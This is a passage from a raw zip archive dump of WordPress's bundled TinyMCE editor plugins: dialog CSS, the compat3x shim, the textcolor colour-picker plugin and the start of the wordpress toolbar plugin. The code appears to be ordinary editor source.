 * More info: https://core.trac.wordpress.org/ticket/31596#comment:10
 */

/* Generic */
body {
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
font-size:13px;
background:#fcfcfc;
padding:0;
margin:8px 8px 0 8px;
}

textarea {resize:none;outline:none;}

a:link, a:hover {
	color: #2B6FB6;
}

a:visited {
	color: #3C2BB6;
}

.nowrap {white-space: nowrap}

/* Forms */
form {margin: 0;}
fieldset {margin:0; padding:4px; border:1px solid #dfdfdf; font-family:Verdana, Arial; font-size:10px;}
legend {color:#2B6FB6; font-weight:bold;}
label.msg {display:none;}
label.invalid {color:#EE0000; display:inline;}
input.invalid {border:1px solid #EE0000;}
input {background:#FFF; border:1px solid #dfdfdf;}
input, select, textarea {font-family:Verdana, Arial, Helvetica, sans-serif; font-size:10px;}
input, select, textarea {border:1px solid #dfdfdf;}
input.radio {border:1px none #000000; background:transparent; vertical-align:middle;}
input.checkbox {border:1px none #000000; background:transparent; vertical-align:middle;}
.input_noborder {border:0;}

/* Buttons */
#insert,
#cancel,
#apply,
.mceActionPanel .button,
input.mceButton,
.updateButton {
	display: inline-block;
	text-decoration: none;
	border: 1px solid #adadad;
	margin: 0;
	padding: 0 10px 1px;
	font-size: 13px;
	height: 24px;
	line-height: 22px;
	color: #333;
	cursor: pointer;
	-webkit-border-radius: 3px;
	-webkit-appearance: none;
	border-radius: 3px;
	white-space: nowrap;
	-webkit-box-sizing: border-box;
	-moz-box-sizing: border-box;
	box-sizing: border-box;
	background: #fafafa;
	background-image: -webkit-gradient(linear, left top, left bottom, from(#fafafa), to(#e9e9e9));
	background-image: -webkit-linear-gradient(top, #fafafa, #e9e9e9);
	background-image: -moz-linear-gradient(top, #fafafa, #e9e9e9);
	background-image: -o-linear-gradient(top, #fafafa, #e9e9e9);
	background-image: linear-gradient(to bottom, #fafafa, #e9e9e9);

	text-shadow: 0 1px 0 #fff;
	-webkit-box-shadow: inset 0 1px 0 #fff;
	-moz-box-shadow: inset 0 1px 0 #fff;
	box-shadow: inset 0 1px 0 #fff;
}

#insert {
	background: #2ea2cc;
	background: -webkit-gradient(linear, left top, left bottom, from(#2ea2cc), to(#1e8cbe));
	background: -webkit-linear-gradient(top, #2ea2cc 0%,#1e8cbe 100%);
	background: linear-gradient(top, #2ea2cc 0%,#1e8cbe 100%);
	filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#2ea2cc', endColorstr='#1e8cbe',GradientType=0 );
	border-color: #0074a2;
	-webkit-box-shadow: inset 0 1px 0 rgba(120,200,230,0.5);
	box-shadow: inset 0 1px 0 rgba(120,200,230,0.5);
	color: #fff;
	text-decoration: none;
	text-shadow: 0 1px 0 rgba(0,86,132,0.7);
}

#cancel:hover,
input.mceButton:hover,
.updateButton:hover,
#cancel:focus,
input.mceButton:focus,
.updateButton:focus {
	background: #f3f3f3;
	background-image: -webkit-gradient(linear, left top, left bottom, from(#fff), to(#f3f3f3));
	background-image: -webkit-linear-gradient(top, #fff, #f3f3f3);
	background-image: -moz-linear-gradient(top, #fff, #f3f3f3);
	background-image: -ms-linear-gradient(top, #fff, #f3f3f3);
	background-image: -o-linear-gradient(top, #fff, #f3f3f3);
	background-image: linear-gradient(to bottom, #fff, #f3f3f3);
	border-color: #999;
	color: #222;
}

#insert:hover,
#insert:focus {
	background: #1e8cbe;
	background: -webkit-gradient(linear, left top, left bottom, from(#1e8cbe), to(#0074a2));
	background: -webkit-linear-gradient(top, #1e8cbe 0%,#0074a2 100%);
	background: linear-gradient(top, #1e8cbe 0%,#0074a2 100%);
	filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#1e8cbe', endColorstr='#0074a2',GradientType=0 );
	border-color: #0074a2;
	-webkit-box-shadow: inset 0 1px 0 rgba(120,200,230,0.6);
	box-shadow: inset 0 1px 0 rgba(120,200,230,0.6);
	color: #fff;
}

.mceActionPanel #insert {
	float: right;
}

/* Browse */
a.pickcolor, a.browse {text-decoration:none}
a.browse span {display:block; width:20px; height:18px; border:1px solid #FFF; margin-left:1px;}
.mceOldBoxModel a.browse span {width:22px; height:20px;}
a.browse:hover span {border:1px solid #0A246A; background-color:#B2BBD0;}
a.browse span.disabled {border:1px solid white; opacity:0.3; -ms-filter:'alpha(opacity=30)'; filter:alpha(opacity=30);}
a.browse:hover span.disabled {border:1px solid white; background-color:transparent;}
a.pickcolor span {display:block; width:20px; height:16px; margin-left:2px;}
.mceOldBoxModel a.pickcolor span {width:21px; height:17px;}
a.pickcolor:hover span {background-color:#B2BBD0;}
div.iframecontainer {background: #fff;}

/* Charmap */
table.charmap {border:1px solid #AAA; text-align:center}
td.charmap, #charmap a {width:18px; height:18px; color:#000; border:1px solid #AAA; text-align:center; font-size:12px; vertical-align:middle; line-height: 18px;}
#charmap a {display:block; color:#000; text-decoration:none; border:0}
#charmap a:hover {background:#CCC;color:#2B6FB6}
#charmap #codeN {font-size:10px; font-family:Arial,Helvetica,sans-serif; text-align:center}
#charmap #codeV {font-size:40px; height:80px; border:1px solid #AAA; text-align:center}
#charmap #charmapView {background-color:#fff;}

/* Source */
.wordWrapCode {vertical-align:middle; border:1px none #000000; background:transparent;}
.mceActionPanel {margin-top:5px;}

/* Tabs classes */
.tabs {width:100%; height:19px; line-height:normal; border-bottom: 1px solid #aaa;}
.tabs ul {margin:0; padding:0; list-style:none;}
.tabs li {float:left; border: 1px solid #aaa; margin:0 2px 0 0; padding:0 0 0 10px; line-height:17px; height:18px; display:block;}
.tabs li.current {border-bottom: 1px solid #fff; margin-right:2px;}
.tabs span {float:left; display:block; padding:0px 10px 0 0;}
.tabs a {text-decoration:none; font-family:Verdana, Arial; font-size:10px;}
.tabs a:link, .tabs a:visited, .tabs a:hover {color:black;}

.wp-core-ui #tabs {
	padding-bottom: 5px;
	background-color: transparent;
}

.wp-core-ui #tabs a {
	padding: 6px 10px;
	margin: 0 2px;
}

/* Panels */
.panel_wrapper div.panel {display:none;}
.panel_wrapper div.current {display:block; width:100%; height:300px; overflow:visible;}
.panel_wrapper {border:1px solid #919B9C; border-top:0px; padding:10px; padding-top:5px; clear:both; background:white;}

/* Columns */
.column {float:left;}
.properties {width:100%;}
.properties .column1 {}
.properties .column2 {text-align:left;}

/* Titles */
h1, h2, h3, h4 {color:#2B6FB6; margin:0; padding:0; padding-top:5px;}
h3 {font-size:14px;}
.title {font-size:12px; font-weight:bold; color:#2B6FB6;}

/* Dialog specific */
#link .panel_wrapper, #link div.current {height:125px;}
#image .panel_wrapper, #image div.current {height:200px;}
#plugintable thead {font-weight:bold; background:#DDD;}
#plugintable, #about #plugintable td {border:1px solid #919B9C;}
#plugintable {width:96%; margin-top:10px;}
#pluginscontainer {height:290px; overflow:auto;}
#colorpicker #preview {display:inline-block; padding-left:40px; height:14px; border:1px solid black; margin-left:5px; margin-right: 5px}
#colorpicker #previewblock {position: relative; top: -3px; padding-left:5px; padding-top: 0px; display:inline}
#colorpicker #preview_wrapper {text-align:center; padding-top:4px; white-space: nowrap; float: right;}
#colorpicker #insert, #colorpicker #cancel {width: 90px}
#colorpicker #colors {float:left; border:1px solid gray; cursor:crosshair;}
#colorpicker #light {border:1px solid gray; margin-left:5px; float:left;width:15px; height:150px; cursor:crosshair;}
#colorpicker #light div {overflow:hidden;}
#colorpicker .panel_wrapper div.current {height:175px;}
#colorpicker #namedcolors {width:150px;}
#colorpicker #namedcolors a {display:block; float:left; width:10px; height:10px; margin:1px 1px 0 0; overflow:hidden;}
#colorpicker #colornamecontainer {margin-top:5px;}
#colorpicker #picker_panel fieldset {margin:auto;width:325px;}


/* Localization */

body[dir="rtl"],
body[dir="rtl"] fieldset,
body[dir="rtl"] input, body[dir="rtl"] select, body[dir="rtl"]  textarea,
body[dir="rtl"]  #charmap #codeN,
body[dir="rtl"] .tabs a {
	font-family: Tahoma, sans-serif;
}
PK�\d[���C!!compat3x/plugin.min.jsnu�[���!function(u){var t;function l(){}function f(e){!t&&window&&window.console&&(t=!0,console.log("Deprecated TinyMCE API call: "+e))}function i(i,a,d,s){i=i||this;var c=[];a?(this.add=function(o,r,e){function t(e){var t=[];if("string"==typeof d&&(d=d.split(" ")),d&&"function"!=typeof d)for(var n=0;n<d.length;n++)t.push(e[d[n]]);("function"!=typeof d||(t=d(a,e,i)))&&(d||(t=[e]),t.unshift(s||i),!1===o.apply(r||s||i,t)&&e.stopImmediatePropagation())}f("<target>.on"+a+".add(..)"),i.on(a,t,e);var n={original:o,patched:t};return c.push(n),t},this.addToTop=function(e,t){this.add(e,t,!0)},this.remove=function(n){return c.forEach(function(e,t){if(e.original===n)return c.splice(t,1),i.off(a,e.patched)}),i.off(a,n)},this.dispatch=function(){return i.fire(a),!0}):this.add=this.addToTop=this.remove=this.dispatch=l}function n(s){function e(e,t){u.each(e.split(" "),function(e){s["on"+e]=new i(s,e,t)})}function n(e,t,n){return[t.level,n]}function o(n){return function(e,t){if(!t.selection&&!n||t.selection==n)return[t]}}if(!s.controlManager){s.controlManager={buttons:{},setDisabled:function(e,t){f("controlManager.setDisabled(..)"),this.buttons[e]&&this.buttons[e].disabled(t)},setActive:function(e,t){f("controlManager.setActive(..)"),this.buttons[e]&&this.buttons[e].active(t)},onAdd:new i,onPostRender:new i,add:function(e){return e},createButton:r,createColorSplitButton:r,createControl:r,createDropMenu:r,createListBox:r,createMenuButton:r,createSeparator:r,createSplitButton:r,createToolbar:r,createToolbarGroup:r,destroy:l,get:l,setControlType:r},e("PreInit BeforeRenderUI PostRender Load Init Remove Activate Deactivate","editor"),e("Click MouseUp MouseDown DblClick KeyDown KeyUp KeyPress ContextMenu Paste Submit Reset"),e("BeforeExecCommand ExecCommand","command ui value args"),e("PreProcess PostProcess LoadContent SaveContent Change"),e("BeforeSetContent BeforeGetContent SetContent GetContent",o(!1)),e("SetProgressState","state time"),e("VisualAid","element hasVisual"),e("Undo Redo",n),e("NodeChange",function(e,t){return[s.controlManager,t.element,s.selection.isCollapsed(),t]});var c=s.addButton;s.addButton=function(e,t){var n,o,r,i;function a(){if(s.controlManager.buttons[e]=this,n)return n.apply(this,arguments)}for(var d in t)"onpostrender"===d.toLowerCase()&&(n=t[d],t.onPostRender=a);return n||(t.onPostRender=a),t.title&&(t.title=(o=t.title,r=[s.settings.language||"en",o].join("."),i=u.i18n.translate(r),r!==i?i:u.i18n.translate(o))),c.call(this,e,t)},s.on("init",function(){var e=s.undoManager,t=s.selection;e.onUndo=new i(s,"Undo",n,null,e),e.onRedo=new i(s,"Redo",n,null,e),e.onBeforeAdd=new i(s,"BeforeAddUndo",null,e),e.onAdd=new i(s,"AddUndo",null,e),t.onBeforeGetContent=new i(s,"BeforeGetContent",o(!0),t),t.onGetContent=new i(s,"GetContent",o(!0),t),t.onBeforeSetContent=new i(s,"BeforeSetContent",o(!0),t),t.onSetContent=new i(s,"SetContent",o(!0),t)}),s.on("BeforeRenderUI",function(){var e=s.windowManager;e.onOpen=new i,e.onClose=new i,e.createInstance=function(e,t,n,o,r,i){return f("windowManager.createInstance(..)"),new(u.resolve(e))(t,n,o,r,i)}})}function r(){var t={};function n(){return r()}return f("editor.controlManager.*"),u.each("add addMenu addSeparator collapse createMenu destroy displayColor expand focus getLength hasMenus hideMenu isActive isCollapsed isDisabled isRendered isSelected mark postRender remove removeAll renderHTML renderMenu renderNode renderTo select selectByIndex setActive setAriaProperty setColor setDisabled setSelected setState showMenu update".split(" "),function(e){t[e]=n}),t}}u.util.Dispatcher=i,u.onBeforeUnload=new i(u,"BeforeUnload"),u.onAddEditor=new i(u,"AddEditor","editor"),u.onRemoveEditor=new i(u,"RemoveEditor","editor"),u.util.Cookie={get:l,getHash:l,remove:l,set:l,setHash:l},u.on("SetupEditor",function(e){n(e.editor)}),u.PluginManager.add("compat3x",n),u.addI18n=function(n,e){var r=u.util.I18n,t=u.each;"string"!=typeof n||-1!==n.indexOf(".")?u.is(n,"string")?t(e,function(e,t){r.data[n+"."+t]=e}):t(n,function(e,o){t(e,function(e,n){t(e,function(e,t){"common"===n?r.data[o+"."+t]=e:r.data[o+"."+n+"."+t]=e})})}):r.add(n,e)}}(tinymce);PK�\d[��..,.,textcolor/plugin.jsnu�[���(function () {
var textcolor = (function () {
    'use strict';

    var global = tinymce.util.Tools.resolve('tinymce.PluginManager');

    var getCurrentColor = function (editor, format) {
      var color;
      editor.dom.getParents(editor.selection.getStart(), function (elm) {
        var value;
        if (value = elm.style[format === 'forecolor' ? 'color' : 'background-color']) {
          color = color ? color : value;
        }
      });
      return color;
    };
    var mapColors = function (colorMap) {
      var i;
      var colors = [];
      for (i = 0; i < colorMap.length; i += 2) {
        colors.push({
          text: colorMap[i + 1],
          color: '#' + colorMap[i]
        });
      }
      return colors;
    };
    var applyFormat = function (editor, format, value) {
      editor.undoManager.transact(function () {
        editor.focus();
        editor.formatter.apply(format, { value: value });
        editor.nodeChanged();
      });
    };
    var removeFormat = function (editor, format) {
      editor.undoManager.transact(function () {
        editor.focus();
        editor.formatter.remove(format, { value: null }, null, true);
        editor.nodeChanged();
      });
    };
    var TextColor = {
      getCurrentColor: getCurrentColor,
      mapColors: mapColors,
      applyFormat: applyFormat,
      removeFormat: removeFormat
    };

    var register = function (editor) {
      editor.addCommand('mceApplyTextcolor', function (format, value) {
        TextColor.applyFormat(editor, format, value);
      });
      editor.addCommand('mceRemoveTextcolor', function (format) {
        TextColor.removeFormat(editor, format);
      });
    };
    var Commands = { register: register };

    var global$1 = tinymce.util.Tools.resolve('tinymce.dom.DOMUtils');

    var global$2 = tinymce.util.Tools.resolve('tinymce.util.Tools');

    var defaultColorMap = [
      '000000',
      'Black',
      '993300',
      'Burnt orange',
      '333300',
      'Dark olive',
      '003300',
      'Dark green',
      '003366',
      'Dark azure',
      '000080',
      'Navy Blue',
      '333399',
      'Indigo',
      '333333',
      'Very dark gray',
      '800000',
      'Maroon',
      'FF6600',
      'Orange',
      '808000',
      'Olive',
      '008000',
      'Green',
      '008080',
      'Teal',
      '0000FF',
      'Blue',
      '666699',
      'Grayish blue',
      '808080',
      'Gray',
      'FF0000',
      'Red',
      'FF9900',
      'Amber',
      '99CC00',
      'Yellow green',
      '339966',
      'Sea green',
      '33CCCC',
      'Turquoise',
      '3366FF',
      'Royal blue',
      '800080',
      'Purple',
      '999999',
      'Medium gray',
      'FF00FF',
      'Magenta',
      'FFCC00',
      'Gold',
      'FFFF00',
      'Yellow',
      '00FF00',
      'Lime',
      '00FFFF',
      'Aqua',
      '00CCFF',
      'Sky blue',
      '993366',
      'Red violet',
      'FFFFFF',
      'White',
      'FF99CC',
      'Pink',
      'FFCC99',
      'Peach',
      'FFFF99',
      'Light yellow',
      'CCFFCC',
      'Pale green',
      'CCFFFF',
      'Pale cyan',
      '99CCFF',
      'Light sky blue',
      'CC99FF',
      'Plum'
    ];
    var getTextColorMap = function (editor) {
      return editor.getParam('textcolor_map', defaultColorMap);
    };
    var getForeColorMap = function (editor) {
      return editor.getParam('forecolor_map', getTextColorMap(editor));
    };
    var getBackColorMap = function (editor) {
      return editor.getParam('backcolor_map', getTextColorMap(editor));
    };
    var getTextColorRows = function (editor) {
      return editor.getParam('textcolor_rows', 5);
    };
    var getTextColorCols = function (editor) {
      return editor.getParam('textcolor_cols', 8);
    };
    var getForeColorRows = function (editor) {
      return editor.getParam('forecolor_rows', getTextColorRows(editor));
    };
    var getBackColorRows = function (editor) {
      return editor.getParam('backcolor_rows', getTextColorRows(editor));
    };
    var getForeColorCols = function (editor) {
      return editor.getParam('forecolor_cols', getTextColorCols(editor));
    };
    var getBackColorCols = function (editor) {
      return editor.getParam('backcolor_cols', getTextColorCols(editor));
    };
    var getColorPickerCallback = function (editor) {
      return editor.getParam('color_picker_callback', null);
    };
    var hasColorPicker = function (editor) {
      return typeof getColorPickerCallback(editor) === 'function';
    };
    var Settings = {
      getForeColorMap: getForeColorMap,
      getBackColorMap: getBackColorMap,
      getForeColorRows: getForeColorRows,
      getBackColorRows: getBackColorRows,
      getForeColorCols: getForeColorCols,
      getBackColorCols: getBackColorCols,
      getColorPickerCallback: getColorPickerCallback,
      hasColorPicker: hasColorPicker
    };

    var global$3 = tinymce.util.Tools.resolve('tinymce.util.I18n');

    var getHtml = function (cols, rows, colorMap, hasColorPicker) {
      var colors, color, html, last, x, y, i, count = 0;
      var id = global$1.DOM.uniqueId('mcearia');
      var getColorCellHtml = function (color, title) {
        var isNoColor = color === 'transparent';
        return '<td class="mce-grid-cell' + (isNoColor ? ' mce-colorbtn-trans' : '') + '">' + '<div id="' + id + '-' + count++ + '"' + ' data-mce-color="' + (color ? color : '') + '"' + ' role="option"' + ' tabIndex="-1"' + ' style="' + (color ? 'background-color: ' + color : '') + '"' + ' title="' + global$3.translate(title) + '">' + (isNoColor ? '&#215;' : '') + '</div>' + '</td>';
      };
      colors = TextColor.mapColors(colorMap);
      colors.push({
        text: global$3.translate('No color'),
        color: 'transparent'
      });
      html = '<table class="mce-grid mce-grid-border mce-colorbutton-grid" role="list" cellspacing="0"><tbody>';
      last = colors.length - 1;
      for (y = 0; y < rows; y++) {
        html += '<tr>';
        for (x = 0; x < cols; x++) {
          i = y * cols + x;
          if (i > last) {
            html += '<td></td>';
          } else {
            color = colors[i];
            html += getColorCellHtml(color.color, color.text);
          }
        }
        html += '</tr>';
      }
      if (hasColorPicker) {
        html += '<tr>' + '<td colspan="' + cols + '" class="mce-custom-color-btn">' + '<div id="' + id + '-c" class="mce-widget mce-btn mce-btn-small mce-btn-flat" ' + 'role="button" tabindex="-1" aria-labelledby="' + id + '-c" style="width: 100%">' + '<button type="button" role="presentation" tabindex="-1">' + global$3.translate('Custom...') + '</button>' + '</div>' + '</td>' + '</tr>';
        html += '<tr>';
        for (x = 0; x < cols; x++) {
          html += getColorCellHtml('', 'Custom color');
        }
        html += '</tr>';
      }
      html += '</tbody></table>';
      return html;
    };
    var ColorPickerHtml = { getHtml: getHtml };

    var setDivColor = function setDivColor(div, value) {
      div.style.background = value;
      div.setAttribute('data-mce-color', value);
    };
    var onButtonClick = function (editor) {
      return function (e) {
        var ctrl = e.control;
        if (ctrl._color) {
          editor.execCommand('mceApplyTextcolor', ctrl.settings.format, ctrl._color);
        } else {
          editor.execCommand('mceRemoveTextcolor', ctrl.settings.format);
        }
      };
    };
    var onPanelClick = function (editor, cols) {
      return function (e) {
        var buttonCtrl = this.parent();
        var value;
        var currentColor = TextColor.getCurrentColor(editor, buttonCtrl.settings.format);
        var selectColor = function (value) {
          editor.execCommand('mceApplyTextcolor', buttonCtrl.settings.format, value);
          buttonCtrl.hidePanel();
          buttonCtrl.color(value);
        };
        var resetColor = function () {
          editor.execCommand('mceRemoveTextcolor', buttonCtrl.settings.format);
          buttonCtrl.hidePanel();
          buttonCtrl.resetColor();
        };
        if (global$1.DOM.getParent(e.target, '.mce-custom-color-btn')) {
          buttonCtrl.hidePanel();
          var colorPickerCallback = Settings.getColorPickerCallback(editor);
          colorPickerCallback.call(editor, function (value) {
            var tableElm = buttonCtrl.panel.getEl().getElementsByTagName('table')[0];
            var customColorCells, div, i;
            customColorCells = global$2.map(tableElm.rows[tableElm.rows.length - 1].childNodes, function (elm) {
              return elm.firstChild;
            });
            for (i = 0; i < customColorCells.length; i++) {
              div = customColorCells[i];
              if (!div.getAttribute('data-mce-color')) {
                break;
              }
            }
            if (i === cols) {
              for (i = 0; i < cols - 1; i++) {
                setDivColor(customColorCells[i], customColorCells[i + 1].getAttribute('data-mce-color'));
              }
            }
            setDivColor(div, value);
            selectColor(value);
          }, currentColor);
        }
        value = e.target.getAttribute('data-mce-color');
        if (value) {
          if (this.lastId) {
            global$1.DOM.get(this.lastId).setAttribute('aria-selected', 'false');
          }
          e.target.setAttribute('aria-selected', true);
          this.lastId = e.target.id;
          if (value === 'transparent') {
            resetColor();
          } else {
            selectColor(value);
          }
        } else if (value !== null) {
          buttonCtrl.hidePanel();
        }
      };
    };
    var renderColorPicker = function (editor, foreColor) {
      return function () {
        var cols = foreColor ? Settings.getForeColorCols(editor) : Settings.getBackColorCols(editor);
        var rows = foreColor ? Settings.getForeColorRows(editor) : Settings.getBackColorRows(editor);
        var colorMap = foreColor ? Settings.getForeColorMap(editor) : Settings.getBackColorMap(editor);
        var hasColorPicker = Settings.hasColorPicker(editor);
        return ColorPickerHtml.getHtml(cols, rows, colorMap, hasColorPicker);
      };
    };
    var register$1 = function (editor) {
      editor.addButton('forecolor', {
        type: 'colorbutton',
        tooltip: 'Text color',
        format: 'forecolor',
        panel: {
          role: 'application',
          ariaRemember: true,
          html: renderColorPicker(editor, true),
          onclick: onPanelClick(editor, Settings.getForeColorCols(editor))
        },
        onclick: onButtonClick(editor)
      });
      editor.addButton('backcolor', {
        type: 'colorbutton',
        tooltip: 'Background color',
        format: 'hilitecolor',
        panel: {
          role: 'application',
          ariaRemember: true,
          html: renderColorPicker(editor, false),
          onclick: onPanelClick(editor, Settings.getBackColorCols(editor))
        },
        onclick: onButtonClick(editor)
      });
    };
    var Buttons = { register: register$1 };

    global.add('textcolor', function (editor) {
      Commands.register(editor);
      Buttons.register(editor);
    });
    function Plugin () {
    }

    return Plugin;

}());
})();
PK�\d[U6��??textcolor/plugin.min.jsnu�[���!function(){"use strict";var t=tinymce.util.Tools.resolve("tinymce.PluginManager"),n=function(t,o){var r;return t.dom.getParents(t.selection.getStart(),function(t){var e;(e=t.style["forecolor"===o?"color":"background-color"])&&(r=r||e)}),r},g=function(t){var e,o=[];for(e=0;e<t.length;e+=2)o.push({text:t[e+1],color:"#"+t[e]});return o},r=function(t,e,o){t.undoManager.transact(function(){t.focus(),t.formatter.apply(e,{value:o}),t.nodeChanged()})},e=function(t,e){t.undoManager.transact(function(){t.focus(),t.formatter.remove(e,{value:null},null,!0),t.nodeChanged()})},o=function(o){o.addCommand("mceApplyTextcolor",function(t,e){r(o,t,e)}),o.addCommand("mceRemoveTextcolor",function(t){e(o,t)})},F=tinymce.util.Tools.resolve("tinymce.dom.DOMUtils"),i=tinymce.util.Tools.resolve("tinymce.util.Tools"),a=["000000","Black","993300","Burnt orange","333300","Dark olive","003300","Dark green","003366","Dark azure","000080","Navy Blue","333399","Indigo","333333","Very dark gray","800000","Maroon","FF6600","Orange","808000","Olive","008000","Green","008080","Teal","0000FF","Blue","666699","Grayish blue","808080","Gray","FF0000","Red","FF9900","Amber","99CC00","Yellow green","339966","Sea green","33CCCC","Turquoise","3366FF","Royal blue","800080","Purple","999999","Medium gray","FF00FF","Magenta","FFCC00","Gold","FFFF00","Yellow","00FF00","Lime","00FFFF","Aqua","00CCFF","Sky blue","993366","Red violet","FFFFFF","White","FF99CC","Pink","FFCC99","Peach","FFFF99","Light yellow","CCFFCC","Pale green","CCFFFF","Pale cyan","99CCFF","Light sky blue","CC99FF","Plum"],l=function(t){return t.getParam("textcolor_map",a)},c=function(t){return t.getParam("textcolor_rows",5)},u=function(t){return t.getParam("textcolor_cols",8)},m=function(t){return t.getParam("color_picker_callback",null)},s=function(t){return t.getParam("forecolor_map",l(t))},d=function(t){return t.getParam("backcolor_map",l(t))},f=function(t){return t.getParam("forecolor_rows",c(t))},b=function(t){return t.getParam("backcolor_rows",c(t))},p=function(t){return t.getParam("forecolor_cols",u(t))},C=function(t){return t.getParam("backcolor_cols",u(t))},y=m,v=function(t){return"function"==typeof m(t)},h=tinymce.util.Tools.resolve("tinymce.util.I18n"),P=function(t,e,o,r){var n,a,l,c,i,u,m,s=0,d=F.DOM.uniqueId("mcearia"),f=function(t,e){var o="transparent"===t;return'<td class="mce-grid-cell'+(o?" mce-colorbtn-trans":"")+'"><div id="'+d+"-"+s+++'" data-mce-color="'+(t||"")+'" role="option" tabIndex="-1" style="'+(t?"background-color: "+t:"")+'" title="'+h.translate(e)+'">'+(o?"&#215;":"")+"</div></td>"};for((n=g(o)).push({text:h.translate("No color"),color:"transparent"}),l='<table class="mce-grid mce-grid-border mce-colorbutton-grid" role="list" cellspacing="0"><tbody>',c=n.length-1,u=0;u<e;u++){for(l+="<tr>",i=0;i<t;i++)l+=c<(m=u*t+i)?"<td></td>":f((a=n[m]).color,a.text);l+="</tr>"}if(r){for(l+='<tr><td colspan="'+t+'" class="mce-custom-color-btn"><div id="'+d+'-c" class="mce-widget mce-btn mce-btn-small mce-btn-flat" role="button" tabindex="-1" aria-labelledby="'+d+'-c" style="width: 100%"><button type="button" role="presentation" tabindex="-1">'+h.translate("Custom...")+"</button></div></td></tr>",l+="<tr>",i=0;i<t;i++)l+=f("","Custom color");l+="</tr>"}return l+="</tbody></table>"},k=function(t,e){t.style.background=e,t.setAttribute("data-mce-color",e)},x=function(o){return function(t){var e=t.control;e._color?o.execCommand("mceApplyTextcolor",e.settings.format,e._color):o.execCommand("mceRemoveTextcolor",e.settings.format)}},T=function(r,c){return function(t){var e,a=this.parent(),o=n(r,a.settings.format),l=function(t){r.execCommand("mceApplyTextcolor",a.settings.format,t),a.hidePanel(),a.color(t)};F.DOM.getParent(t.target,".mce-custom-color-btn")&&(a.hidePanel(),y(r).call(r,function(t){var e,o,r,n=a.panel.getEl().getElementsByTagName("table")[0];for(e=i.map(n.rows[n.rows.length-1].childNodes,function(t){return t.firstChild}),r=0;r<e.length&&(o=e[r]).getAttribute("data-mce-color");r++);if(r===c)for(r=0;r<c-1;r++)k(e[r],e[r+1].getAttribute("data-mce-color"));k(o,t),l(t)},o)),(e=t.target.getAttribute("data-mce-color"))?(this.lastId&&F.DOM.get(this.lastId).setAttribute("aria-selected","false"),t.target.setAttribute("aria-selected",!0),this.lastId=t.target.id,"transparent"===e?(r.execCommand("mceRemoveTextcolor",a.settings.format),a.hidePanel(),a.resetColor()):l(e)):null!==e&&a.hidePanel()}},_=function(n,a){return function(){var t=a?p(n):C(n),e=a?f(n):b(n),o=a?s(n):d(n),r=v(n);return P(t,e,o,r)}},A=function(t){t.addButton("forecolor",{type:"colorbutton",tooltip:"Text color",format:"forecolor",panel:{role:"application",ariaRemember:!0,html:_(t,!0),onclick:T(t,p(t))},onclick:x(t)}),t.addButton("backcolor",{type:"colorbutton",tooltip:"Background color",format:"hilitecolor",panel:{role:"application",ariaRemember:!0,html:_(t,!1),onclick:T(t,C(t))},onclick:x(t)})};t.add("textcolor",function(t){o(t),A(t)})}();PK�\d[�A]�b�b�wordpress/plugin.jsnu�[���/* global getUserSetting, setUserSetting */
( function( tinymce ) {
// Set the minimum value for the modals z-index higher than #wpadminbar (100000).
if ( ! tinymce.ui.FloatPanel.zIndex || tinymce.ui.FloatPanel.zIndex < 100100 ) {
	tinymce.ui.FloatPanel.zIndex = 100100;
}

tinymce.PluginManager.add( 'wordpress', function( editor ) {
	var wpAdvButton, style,
		DOM = tinymce.DOM,
		each = tinymce.each,
		__ = editor.editorManager.i18n.translate,
		$ = window.jQuery,
		wp = window.wp,
		hasWpautop = ( wp && wp.editor && wp.editor.autop && editor.getParam( 'wpautop', true ) ),
		wpTooltips = false;

	if ( $ ) {
		// Runs as soon as TinyMCE has started initializing, while plugins are loading.
		// Handlers attached after the `tinymce.init()` call may not get triggered for this instance.
		$( document ).triggerHandler( 'tinymce-editor-setup', [ editor ] );
	}

	function toggleToolbars( state ) {
		var initial, toolbars, iframeHeight,
			pixels = 0,
			classicBlockToolbar = tinymce.$( '.block-library-classic__toolbar' );

		if ( state === 'hide' ) {
			initial = true;
		} else if ( classicBlockToolbar.length && ! classicBlockToolbar.hasClass( 'has-advanced-toolbar' ) ) {
			// Show the second, third, etc. toolbar rows in the Classic block instance.
			classicBlockToolbar.addClass( 'has-advanced-toolbar' );
			state = 'show';
		}

		if ( editor.theme.panel ) {
			toolbars = editor.theme.panel.find('.toolbar:not(.menubar)');
		}

		if ( toolbars && toolbars.length > 1 ) {
			if ( ! state && toolbars[1].visible() ) {
				state = 'hide';
			}

			each( toolbars, function( toolbar, i ) {
				if ( i > 0 ) {
					if ( state === 'hide' ) {
						toolbar.hide();
						pixels += 34;
					} else {
						toolbar.show();
						pixels -= 34;
					}
				}
			});
		}

		// Resize editor iframe, not needed for iOS and inline instances.
		// Don't resize if the editor is in a hidden container.
		if ( pixels && ! tinymce.Env.iOS && editor.iframeElement && editor.iframeElement.clientHeight ) {
			iframeHeight = editor.iframeElement.clientHeight + pixels;

			// Keep min-height.
			if ( iframeHeight > 50  ) {
				DOM.setStyle( editor.iframeElement, 'height', iframeHeight );
			}
		}

		if ( ! initial ) {
			if ( state === 'hide' ) {
				setUserSetting( 'hidetb', '0' );
				wpAdvButton && wpAdvButton.active( false );
			} else {
				setUserSetting( 'hidetb', '1' );
				wpAdvButton && wpAdvButton.active( true );
			}
		}

		editor.fire( 'wp-toolbar-toggle' );
	}

	// Add the kitchen sink button :)
	editor.addButton( 'wp_adv', {
		tooltip: 'Toolbar Toggle',
		cmd: 'WP_Adv',
		onPostRender: function() {
			wpAdvButton = this;
			wpAdvButton.active( getUserSetting( 'hidetb' ) === '1' );
		}
	});

	// Hide the toolbars after loading.
	editor.on( 'PostRender', function() {
		if ( editor.getParam( 'wordpress_adv_hidden', true ) && getUserSetting( 'hidetb', '0' ) === '0' ) {
			toggleToolbars( 'hide' );
		} else {
			tinymce.$( '.block-library-classic__toolbar' ).addClass( 'has-advanced-toolbar' );
		}
	});

	editor.addCommand( 'WP_Adv', function() {
		toggleToolbars();
	});

	editor.on( 'focus', function() {
        window.wpActiveEditor = editor.id;
    });

	editor.on( 'BeforeSetContent', function( event ) {
		var title;

		if ( event.content ) {
			if ( event.content.indexOf( '<!--more' ) !== -1 ) {
				title = __( 'Read more...' );

				event.content = event.content.replace( /<!--more(.*?)-->/g, function( match, moretext ) {
					return '<img src="' + tinymce.Env.transparentSrc + '" data-wp-more="more" data-wp-more-text="' + moretext + '" ' +
